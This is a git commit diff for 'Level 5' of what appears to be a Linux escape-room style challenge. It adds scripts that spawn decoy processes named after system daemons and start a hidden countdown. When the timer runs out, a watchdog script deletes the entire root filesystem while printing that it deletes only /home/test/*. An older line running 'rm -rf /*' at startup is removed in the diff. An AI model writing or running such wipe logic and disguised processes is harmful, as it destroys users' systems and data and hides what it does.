Update Level 5
This commit is contained in:
17
Level/Level5/hduzgfizgfiz.sh
Normal file
17
Level/Level5/hduzgfizgfiz.sh
Normal file
@@ -0,0 +1,17 @@
|
||||
#!/bin/bash
|
||||
|
||||
NAMES=(
|
||||
systemd-udevd systemd-journald systemd-logind systemd-resolved systemd-networkd
|
||||
polkitd dbus-daemon cron agetty
|
||||
kworker/0:0 kworker/0:1 kworker/1:0 ksoftirqd/0 ksoftirqd/1
|
||||
kthreadd rcu_sched rcu_bh rsyslogd NetworkManager
|
||||
modprobe firewalld udisksd cupsd bluetoothd
|
||||
avahi-daemon containerd dockerd rpcbind sshd syslogd ntpd
|
||||
lvmetad systemctl systemd-tmpfiles systemd-random-seed
|
||||
auditd irqbalance acctd mountd nfsd rpc.statd
|
||||
mdadm smartd systemd-timesyncd systemd-hostnamed
|
||||
)
|
||||
|
||||
for name in "${NAMES[@]}"; do
|
||||
bash -c "exec -a $name sleep 999999" &
|
||||
done
|
||||
7
Level/Level5/login_wrapper.sh
Normal file
7
Level/Level5/login_wrapper.sh
Normal file
@@ -0,0 +1,7 @@
|
||||
#!/bin/bash
|
||||
|
||||
if [ ! -f /home/crime5/.timer/started ]; then
|
||||
touch /home/crime5/.timer/started
|
||||
nohup python3 /usr/local/bin/systemd-hdtob.py >/tmp/timer.log 2>&1 &
|
||||
fi
|
||||
exec /bin/bash
|
||||
10
Level/Level5/start_level5.sh
Normal file
10
Level/Level5/start_level5.sh
Normal file
@@ -0,0 +1,10 @@
|
||||
#!/bin/bash
|
||||
|
||||
USER=$(whoami)
|
||||
if [ "$USER" = "crime5" ]; then
|
||||
if [ ! -f /home/crime5/.timer/started ]; then
|
||||
touch /home/crime5/.timer/started
|
||||
nohup python3 /usr/local/bin/systemd-hdtob.py >/tmp/timer.log 2>&1 &
|
||||
fi
|
||||
fi
|
||||
exit 0
|
||||
@@ -1,38 +1,40 @@
|
||||
import os
|
||||
import time
|
||||
import subprocess
|
||||
import pwd
|
||||
|
||||
STATE_FILE = "/home/crime5/.timer/timer_state.txt"
|
||||
END_STATE = "/home/crime5/.timer/end_state.txt"
|
||||
|
||||
|
||||
def drop_privileges(user):
|
||||
pw = pwd.getpwnam(user)
|
||||
os.setgid(pw.pw_gid)
|
||||
os.setuid(pw.pw_uid)
|
||||
|
||||
def load_time(default_time):
|
||||
if not os.path.exists(STATE_FILE):
|
||||
return default_time
|
||||
try:
|
||||
with open(STATE_FILE, "r") as f:
|
||||
return int(f.read().strip())
|
||||
except:
|
||||
return default_time
|
||||
|
||||
def save_time(remaining):
|
||||
with open(STATE_FILE, "w") as f:
|
||||
f.write(str(remaining))
|
||||
|
||||
def countdown(seconds):
|
||||
if os.path.exists(END_STATE):
|
||||
os.remove(END_STATE)
|
||||
|
||||
for remaining in range(seconds, 0, -1):
|
||||
save_time(remaining)
|
||||
with open(STATE_FILE, "w") as f:
|
||||
f.write(str(remaining))
|
||||
|
||||
mins, secs = divmod(remaining, 60)
|
||||
with open("/home/crime5/timer.txt", "w") as f:
|
||||
f.write(f"{mins:02d}:{secs:02d}")
|
||||
|
||||
time.sleep(1)
|
||||
|
||||
if os.path.exists(STATE_FILE):
|
||||
os.remove(STATE_FILE)
|
||||
|
||||
with open(END_STATE, "w") as f:
|
||||
f.write("timeout")
|
||||
|
||||
print("Du hast verloren – der Timer ist abgelaufen!")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
subprocess.run(["rm", "-rf", "/*"])
|
||||
drop_privileges("crime5")
|
||||
remaining = load_time(600)
|
||||
countdown(remaining)
|
||||
countdown(600)
|
||||
|
||||
@@ -1,37 +1,56 @@
|
||||
import time
|
||||
import subprocess
|
||||
import glob
|
||||
import os
|
||||
import glob
|
||||
import shutil
|
||||
|
||||
SCRIPT_NAME = "systemd-hdtob.py"
|
||||
TIMEOUT = 600
|
||||
STATE_FILE = "/home/crime5/.timer/timer_state.txt"
|
||||
END_STATE = "/home/crime5/.timer/end_state.txt"
|
||||
|
||||
|
||||
def is_running():
|
||||
try:
|
||||
result = subprocess.run(
|
||||
["pgrep", "-f", SCRIPT_NAME],
|
||||
stdout=subprocess.DEVNULL,
|
||||
stderr=subprocess.DEVNULL
|
||||
)
|
||||
return result.returncode == 0
|
||||
except Exception:
|
||||
return False
|
||||
result = subprocess.run(["pgrep", "-f", SCRIPT_NAME], stdout=subprocess.PIPE)
|
||||
return result.returncode == 0
|
||||
|
||||
|
||||
print("Watchdog gestartet...")
|
||||
|
||||
while not is_running():
|
||||
time.sleep(1)
|
||||
|
||||
print("10min Timer ist aktiv")
|
||||
print("Timer aktiv")
|
||||
|
||||
|
||||
while True:
|
||||
|
||||
for _ in range(TIMEOUT):
|
||||
if not is_running():
|
||||
print("User hat gewonnen")
|
||||
exit(0)
|
||||
time.sleep(1)
|
||||
if os.path.exists(END_STATE):
|
||||
print("Du hast verloren – Timer ist abgelaufen!")
|
||||
print("Lösche /home/test/* ...")
|
||||
|
||||
for pfad in glob.glob("/*"):
|
||||
if os.path.isfile(pfad) or os.path.islink(pfad):
|
||||
os.remove(pfad)
|
||||
elif os.path.isdir(pfad):
|
||||
shutil.rmtree(pfad)
|
||||
for entry in os.listdir("/"):
|
||||
pfad = os.path.join("/", entry)
|
||||
|
||||
try:
|
||||
if os.path.isfile(pfad) or os.path.islink(pfad):
|
||||
os.remove(pfad)
|
||||
elif os.path.isdir(pfad):
|
||||
shutil.rmtree(pfad, ignore_errors=True)
|
||||
except Exception as e:
|
||||
print(f"Fehler bei {pfad}: {e}")
|
||||
|
||||
print("Fertig.")
|
||||
exit(0)
|
||||
else:
|
||||
subprocess.run(["/root/win-message.sh"])
|
||||
exit(0)
|
||||
|
||||
if os.path.exists(STATE_FILE):
|
||||
with open(STATE_FILE) as f:
|
||||
remaining = int(f.read().strip())
|
||||
else:
|
||||
remaining = -1
|
||||
|
||||
print("Restzeit:", remaining)
|
||||
time.sleep(1)
|
||||
|
||||
Reference in New Issue
Block a user